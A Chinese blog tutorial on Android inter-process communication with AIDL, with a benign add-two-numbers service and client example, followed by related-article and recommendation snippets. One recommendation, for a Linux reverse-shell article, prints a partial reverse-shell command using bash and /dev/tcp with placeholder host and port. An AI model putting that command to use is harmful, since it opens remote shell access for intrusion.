跨进程如何通讯?两个进程无法直接通讯,通过Android系统底层间接通讯。基于service的aidl实现跨进程通讯。

什么叫AIDL? Android interface definition language,Android接口定义语言

什么时候使用?
AIDL IPC 多线程 多应用

Binder IPC 没有多线程 多应用

message IPC 没有多线程

使用

eclipse

Androidstudio

new-folder-AIDL Folder 生成AIDL目录

在目录中 new - AIDL - AIDL FILE 生成,要编译后,才可以调用

案列

新建两个app.

服务端app

new-folder-AIDL Folder 生成AIDL目录

在目录中 new - AIDL - AIDL FILE 新建一个aidl文件

  1. // IMyAidlInterface.aidl
  2. package com.base.aidl;
  3.  
  4. // Declare any non-default types here with import statements
  5.  
  6. interface IMyAidlInterface {
  7.  
  8. //计算两个数的和
  9. int add(int num1, int num2);
  10.  
  11. }

再提供一个service提供调用

  1. public class IRemoteService extends Service {
  2.  
  3. //当客户端绑定这个服务时 会执行
  4. @Override
  5. public IBinder onBind(Intent intent) {
  6. return iBinder;
  7. }
  8.  
  9. private IBinder iBinder = new IMyAidlInterface.Stub(){
  10.  
  11. @Override
  12. public int add(int num1, int num2) throws RemoteException {
  13. Log.e("TAG", "收到的数是:"+ num1+","+ num2);
  14. return num1+num2;
  15. }
  16. };
  17. }

xml注册

  1. <service
  2. android:name=".IRemoteService"
  3. android:enabled="true" >
  4. <intent-filter>
  5. <action android:name="com.base.aidl.IRemoteService" />
  6. </intent-filter>
  7. </service>

客服端app

新建一个和服务端一样的AIDL,(包名,名称都要一样)

activity代码

  1. public class MainActivity extends AppCompatActivity implements View.OnClickListener {
  2.  
  3. private EditText eTNum1;
  4. private EditText eTNum2;
  5. private EditText eTNum3;
  6. private IMyAidlInterface iMyAid;
  7.  
  8. private ServiceConnection conn = new ServiceConnection() {
  9. @Override
  10. public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
  11. //绑定成功
  12. iMyAid = IMyAidlInterface.Stub.asInterface(iBinder);
  13. }
  14.  
  15. @Override
  16. public void onServiceDisconnected(ComponentName componentName) {
  17. //绑定结束
  18. iMyAid = null;
  19. }
  20. };
  21.  
  22. @Override
  23. protected void onCreate(Bundle savedInstanceState) {
  24. super.onCreate(savedInstanceState);
  25. setContentView(R.layout.activity_main);
  26.  
  27. initView();
  28.  
  29. //启动绑定
  30. bindSer();
  31. }
  32.  
  33. private void bindSer() {
  34. Intent intent = new Intent();
  35. intent.setComponent(new ComponentName("com.base.aidl", "com.base.aidl.IRemoteService"));
  36. bindService(intent, conn, Context.BIND_AUTO_CREATE);
  37. }
  38.  
  39. private void initView() {
  40.  
  41. eTNum1 = (EditText) findViewById(R.id.ed_num1);
  42. eTNum2 = (EditText) findViewById(R.id.ed_num2);
  43. eTNum3 = (EditText) findViewById(R.id.ed_res);
  44.  
  45. findViewById(R.id.btn_add).setOnClickListener(this);
  46. }
  47.  
  48. @Override
  49. public void onClick(View view) {
  50. int num1 = Integer.parseInt(eTNum1.getText().toString());
  51. int num2 = Integer.parseInt(eTNum2.getText().toString());
  52.  
  53. int num3;
  54.  
  55. try {
  56. num3 = iMyAid.add(num1, num2);
  57. eTNum3.setText(num3 + "");
  58. } catch (RemoteException e) {
  59. e.printStackTrace();
  60. eTNum3.setText("出错了");
  61. }
  62. }
  63.  
  64. @Override
  65. protected void onDestroy() {
  66. super.onDestroy();
  67. unbindService(conn);
  68. }
  69. }

布局省略

AIDL 数据类型

short不支持

list要表明 in 或者 out

parcelable 序列化

android 跨进程通讯 AIDL的更多相关文章

  1. Android跨进程通信AIDL服务

    服务(Service)是android系统中非常重要的组件.Service可以脱离应用程序运行.也就是说,应用程序只起到一个启动Service的作用.一但Service被启动,就算应用程序关闭,Ser ...

  2. android 史上最简单易懂的跨进程通讯(Messenger)!

    不需要AIDL也不需要复杂的ContentProvider,也不需要SharedPreferences或者共享存储文件! 只需要简单易懂的Messenger,它也称为信使,通过它可以在不同进程中传递m ...

  3. Android为TV端助力 史上最简单易懂的跨进程通讯(Messenger)!

    不需要AIDL也不需要复杂的ContentProvider,也不需要SharedPreferences或者共享存储文件! 只需要简单易懂的Messenger,它也称为信使,通过它可以在不同进程中传递m ...

  4. Android跨进程通信的四种方式

    由于android系统中应用程序之间不能共享内存.因此,在不同应用程序之间交互数据(跨进程通讯)就稍微麻烦一些.在android SDK中提供了4种用于跨进程通讯的方式.这4种方式正好对应于andro ...

  5. android中跨进程通讯的4种方式

    转自:http://blog.csdn.net/lyf_007217/article/details/8542359 帖子写的很好.看来一遍,试了一遍,感觉太有意义.必须转过来! android中跨进 ...

  6. android 跨进程通信

    转自:http://www.androidsdn.com/article/show/137 由于android系统中应用程序之间不能共享内存.因此,在不同应用程序之间交互数据(跨进程通讯)就稍微麻烦一 ...

  7. 【朝花夕拾】Android性能篇之(七)Android跨进程通信篇

    前言 只要是面试高级工程师岗位,Android跨进程通信就是最受面试官青睐的知识点之一.Android系统的运行由大量相互独立的进程相互协助来完成的,所以Android进程间通信问题,是做好Andro ...

  8. Android跨进程通信广播(Broadcast)

    广播是一种被动跨进程通讯的方式.当某个程序向系统发送广播时,其他的应用程序只能被动地接收广播数据.这就象电台进行广播一样,听众只能被动地收听,而不能主动与电台进行沟通,在应用程序中发送广播比较简单.只 ...

  9. Android 跨进程启动Activity黑屏(白屏)的三种解决方案

    原文链接:http://www.cnblogs.com/feidu/p/8057012.html 当Android跨进程启动Activity时,过程界面很黑屏(白屏)短暂时间(几百毫秒?).当然从桌面 ...

随机推荐

  1. JAVA,MYSQL,ORACLE的数据类型对比

    MySQL Data Type Oracle Data Type Java BIGINT NUMBER(19, 0) java.lang.Long BIT RAW byte[] BLOB BLOB,  ...

  2. python的logging模块详细使用demo

    import logging import os from logging import handlers from datetime import datetime class MyLog(): d ...

  3. how to run faster

    题目大意: 已知 $$ b_i = \sum_{j=1}^n {(i,j)^d [i,j]^c x_j}$$,给定 $b_i$ 求解 $x_i$ 解法: 考虑 $f(n) = \sum_{d|n}{f ...

  4. Spring如何引用properties文件里的…

    [zt]Spring如何引用properties文件里的配置 来自 http://blog.csdn.net/luobo525/archive/2006/11/06/1370258.aspx 1.Pr ...

  5. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  6. 7.20实习培训日志-Java基础程序设计结构

    Java基础程序设计结构 在 Math 类中,为了达到最快的性能,所有的方法都使用计算机浮点单元中的例程,如果得到一个完全可预测的结果比运行速度更重要的话,那么就应该使用StrictMath类,它使用 ...

  7. NOIP2014提高组 联合权值(距离为2的树形dp)

    联合权值 题目描述 无向连通图 GG 有 nn 个点,n-1n−1 条边.点从 11 到 nn 依次编号,编号为 ii 的点的权值为 W_iWi​,每条边的长度均为 11.图上两点 (u, v)(u, ...

  8. 设置Mvc路由Asp.net 与 mvc同用

    App_start/RouteConfig.cs/RegisterRoutes(RouteConllection routes) { routes.IgnoreRoute("{resourc ...

  9. Python基础(四)——迭代器/对象,生成器

    首先廖雪峰网站写的内容就我目前初步学习来说,已经相当详实,知识点平铺直叙让人易接受,所以以下内容均作为一种摘记记录以及补充. 1. 列表生成器 主要目的是创建 list .多看例子就能清楚: #列表生 ...

  10. 【异步编程】Part2:掌控SynchronizationContext避免deadlock

    引言: 多线程编程/异步编程非常复杂,有很多概念和工具需要去学习,贴心的.NET提供Task线程包装类和await/async异步编程语法糖简化了异步编程方式. 相信很多开发者都看到如下异步编程实践原 ...